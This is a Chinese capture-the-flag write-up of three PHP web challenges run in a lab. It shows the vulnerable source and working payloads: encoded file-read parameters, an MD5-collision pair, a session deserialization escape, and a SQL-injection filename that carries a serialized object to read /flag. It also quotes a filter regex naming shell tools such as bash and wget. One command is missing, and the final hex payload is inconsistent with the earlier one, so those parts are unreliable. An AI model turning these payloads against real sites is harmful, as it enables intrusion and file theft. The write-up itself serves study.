在空档期中找了2019安洵的比赛环境,于是复现下当年做不出的题目。
easy_web 进入题目发现url可疑
http://db0bb943-eb61-42d5-a9fa-2ac2882323f6.node3.buuoj.cn/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
推测img是base64,经过连续解密后,发现服务器会对img值经过两次base64解密和16解密包含其值所对应文件名的文件,再以base64输出.故对index.php
经过一次16进制加密,再经过两次base64加密传入得到原码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8'); $cmd = $_GET['cmd']; if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd='); $file = hex2bin(base64_decode(base64_decode($_GET['img']))); $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file); if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag"); } else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>"; } echo $cmd; echo "<br>"; if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>"; } else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); } } ?> <html> <style> body{ background:url(./bj.png) no-repeat center center; background-size:cover; background-attachment:fixed; background-color:#CCCCCC; } </style> <body> </body> </html>
发现是一个远程rce,但是要绕过两层。第一层是如下对cmd
进行过滤:
1 2 3 4 if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd)) { echo ("forbid ~" ); echo "<br>" ; }
但在测试后发现\
居然没有被过滤掉。
因此我们可以用
ps:若没有\
我们可以用dir来读取目录,用sort或php命令来读取文件。
然后就是md5绕过:
1 if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b']))
由于(string)
的存在,所以不能用数组绕过,只能用两个数据去强碰。
1 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
从而得到flag:
easy_serialize_php 进入题目发现原代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 <?php $function = @$_GET['f' ]; function filter ($img) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); } if ($_SESSION){ unset ($_SESSION); } $_SESSION["user" ] = 'guest' ; $_SESSION['function' ] = $function; extract($_POST); if (!$function){ echo '<a href="index.php?f=highlight_file">source_code</a>' ; } if (!$_GET['img_path' ]){ $_SESSION['img' ] = base64_encode('guest_img.png' ); }else { $_SESSION['img' ] = sha1(base64_encode($_GET['img_path' ])); } $serialize_info = filter(serialize($_SESSION)); if ($function == 'highlight_file' ){ highlight_file('index.php' ); }else if ($function == 'phpinfo' ){ eval ('phpinfo();' ); }else if ($function == 'show_image' ){ $userinfo = unserialize($serialize_info); echo file_get_contents(base64_decode($userinfo['img' ])); }
仔细审计,发现可能存在反序列化逃逸.因为filter的代码为:
1 2 3 4 5 function filter ($img) { $filter_arr = array ('php' ,'flag' ,'php5' ,'php4' ,'fl1g' ); $filter = '/' .implode('|' ,$filter_arr).'/i' ; return preg_replace($filter,'' ,$img); }
我们可以恶意提交含有'php','flag','php5','php4','fl1g'
的数据从而让其被替换掉,再恶意构造反序列后的数据从而逃逸.同时extract($_POST);
的变量赋给,方便我们构造恶意的SESSION数据。
例如:_SESSION["fflagflag"]=";s:3:"img";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}
在后头处理时,$serialize_info = filter(serialize($_SESSION));
,会将其处理成:
1 a:4 :{s:4 :"user" ;s:5 :"guest" ;s:8 :"function" ;s:10 :"show_image" ;s:9 :"f" ;s:51 :"" ;s:3 :"img" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;}";s:3:" img";s:8:" img_name";}
而php在unserialize时,把f";s:51:"
档成一个参数,从而把原本数据里的s:3:"img";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
逃逸了出来。而剩下的";s:3:"img";s:8:"img_name";}
会被忽视掉。
ps:这里有个小坑之前踩了,高版本php不能通过";"
来合并变量,但是可以通过";}
来上面一样逃逸数据。
不是文件上传 进入题目满脸蒙蔽….先是怀疑是文件上传结果发现上传路径是个假路径….
没了思路。看了下源码:
helper.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 <?php class helper { protected $folder = "pic/" ; protected $ifview = False ; protected $config = "config.txt" ; public function upload ($input="file" ) { $fileinfo = $this ->getfile($input); $array = array (); $array["title" ] = $fileinfo['title' ]; $array["filename" ] = $fileinfo['filename' ]; $array["ext" ] = $fileinfo['ext' ]; $array["path" ] = $fileinfo['path' ]; $img_ext = getimagesize($_FILES[$input]["tmp_name" ]); $my_ext = array ("width" =>$img_ext[0 ],"height" =>$img_ext[1 ]); $array["attr" ] = serialize($my_ext); $id = $this ->save($array); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>" ; } public function getfile ($input) { if (isset ($input)){ $rs = $this ->check($_FILES[$input]); } return $rs; } public function check ($info) { $basename = substr(md5(time().uniqid()),9 ,16 ); $filename = $info["name" ]; $ext = substr(strrchr($filename, '.' ), 1 ); $cate_exts = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (!in_array($ext,$cate_exts)){ die ("<p>Please upload the correct image file!!!</p>" ); } $title = str_replace("." .$ext,'' ,$filename); return array ('title' =>$title,'filename' =>$basename."." .$ext,'ext' =>$ext,'path' =>$this ->folder.$basename."." .$ext); } public function save ($data) { if (!$data || !is_array($data)){ die ("Something wrong!" ); } $id = $this ->insert_array($data); return $id; } public function insert_array ($data) { $con = mysqli_connect("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno($con)) { die ("Connect MySQL Fail:" .mysqli_connect_error()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key=>$value){ $key_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $key); $value_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $value); $sql_fields[] = "`" .$key_temp."`" ; $sql_val[] = "'" .$value_temp."'" ; } $sql = "INSERT INTO images (" .(implode("," ,$sql_fields)).") VALUES(" .(implode("," ,$sql_val)).")" ; mysqli_query($con, $sql); $id = mysqli_insert_id($con); mysqli_close($con); return $id; } public function view_files ($path) { if ($this ->ifview == False ){ return False ; } $content = file_get_contents($path); echo $content; } function __destruct () { $this ->view_files($this ->config); } } ?>
show.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 <!DOCTYPE html> <html> <head> <title>Show Images</title> <link rel="stylesheet" href="./style.css"> <meta http-equiv="content-type" content="text/html;charset=UTF-8"/> </head> <body> <h2 align="center">Your images</h2> <p>The function of viewing the image has not been completed, and currently only the contents of your image name can be saved. I hope you can forgive me and my colleagues and I are working hard to improve.</p> <hr> <?php include("./helper.php"); $show = new show(); if($_GET["delete_all"]){ if($_GET["delete_all"] == "true"){ $show->Delete_All_Images(); } } $show->Get_All_Images(); class show{ public $con; public function __construct(){ $this->con = mysqli_connect("127.0.0.1","r00t","r00t","pic_base"); if (mysqli_connect_errno($this->con)){ die("Connect MySQL Fail:".mysqli_connect_error()); } } public function Get_All_Images(){ $sql = "SELECT * FROM images"; $result = mysqli_query($this->con, $sql); if ($result->num_rows > 0){ while($row = $result->fetch_assoc()){ if($row["attr"]){ $attr_temp = str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]); $attr = unserialize($attr_temp); } echo "<p>id=".$row["id"]." filename=".$row["filename"]." path=".$row["path"]."</p>"; } }else{ echo "<p>You have not uploaded an image yet.</p>"; } mysqli_close($this->con); } public function Delete_All_Images(){ $sql = "DELETE FROM images"; $result = mysqli_query($this->con, $sql); } } ?> <p><a href="show.php?delete_all=true">Delete All Images</a></p> <p><a href="upload.php">Upload Images</a></p> </body> </html>
发现有str_replace('\0\0\0', chr(0).'*'.chr(0), $row["attr"]);
与
str_replace(chr(0).'*'.chr(0), '\0\0\0', $value)
怀疑是反序列化逃逸。
顺着这条线,继续找反序列化点。发现show.php中的$attr = unserialize($attr_temp);
而$attr_temp是由sql查询出来的attr
来的。
但attr如何控制还是有点懵,再仔细审下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 public function upload ($input="file" ) { $fileinfo = $this ->getfile($input); $array = array (); $array["title" ] = $fileinfo['title' ]; $array["filename" ] = $fileinfo['filename' ]; $array["ext" ] = $fileinfo['ext' ]; $array["path" ] = $fileinfo['path' ]; $img_ext = getimagesize($_FILES[$input]["tmp_name" ]); $my_ext = array ("width" =>$img_ext[0 ],"height" =>$img_ext[1 ]); $array["attr" ] = serialize($my_ext); $id = $this ->save($array); if ($id == 0 ){ die ("Something wrong!" ); } echo "<br>" ; echo "<p>Your images is uploaded successfully. And your image's id is $id.</p>" ; } public function insert_array ($data) { $con = mysqli_connect("127.0.0.1" ,"r00t" ,"r00t" ,"pic_base" ); if (mysqli_connect_errno($con)) { die ("Connect MySQL Fail:" .mysqli_connect_error()); } $sql_fields = array (); $sql_val = array (); foreach ($data as $key=>$value){ $key_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $key); $value_temp = str_replace(chr(0 ).'*' .chr(0 ), '\0\0\0' , $value); $sql_fields[] = "`" .$key_temp."`" ; $sql_val[] = "'" .$value_temp."'" ; } $sql = "INSERT INTO images (" .(implode("," ,$sql_fields)).") VALUES(" .(implode("," ,$sql_val)).")" ; mysqli_query($con, $sql); $id = mysqli_insert_id($con); mysqli_close($con); return $id; }
发现我们发送过来的文件先是被upload函数处理,把一些如filename、title、path那些文件信息提取出来。然后被insert_array存入数据库。而在存入时是以:
1 INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES ('<title values>' ,'<filename values>','<ext values>','<path values>','<attr values>')
因此我们可以利用sql特性让filename的值为:
filename=”1','1','1','1',xxxx)#1.jpg“
这样在插入时,插入语句就变成了:
1 INSERT INTO images (`title`,`filename`,`ext`,`path`,`attr`) VALUES ('<title values>' ,'1','1','1','1',xxxx)#1.jpg','<ext values>','<path values>','<attr values>')
在sql执行时,attr对应的是xxxx。这样attr就为我们所控制。
在利用helper 类的 __destruct()方法读取flag。
反序列化payload:
1 O:6:"helper":2:{s:9:"\0\0\0ifview";b:1;s:9:"\0\0\0config";s:5:"/flag";}
但防止在中间过程中”
产生误解,我们可以利用将数据16进制存储也会被sql自动转
的sql特性。将数据转换为16进制。所以完整payload:
1 filename="1','1','1','1',0x4f3a363a2268656c706572223a313a7b733a393a22636f6e666967223b733a353a222f666c6167223b7d)#1.jpg"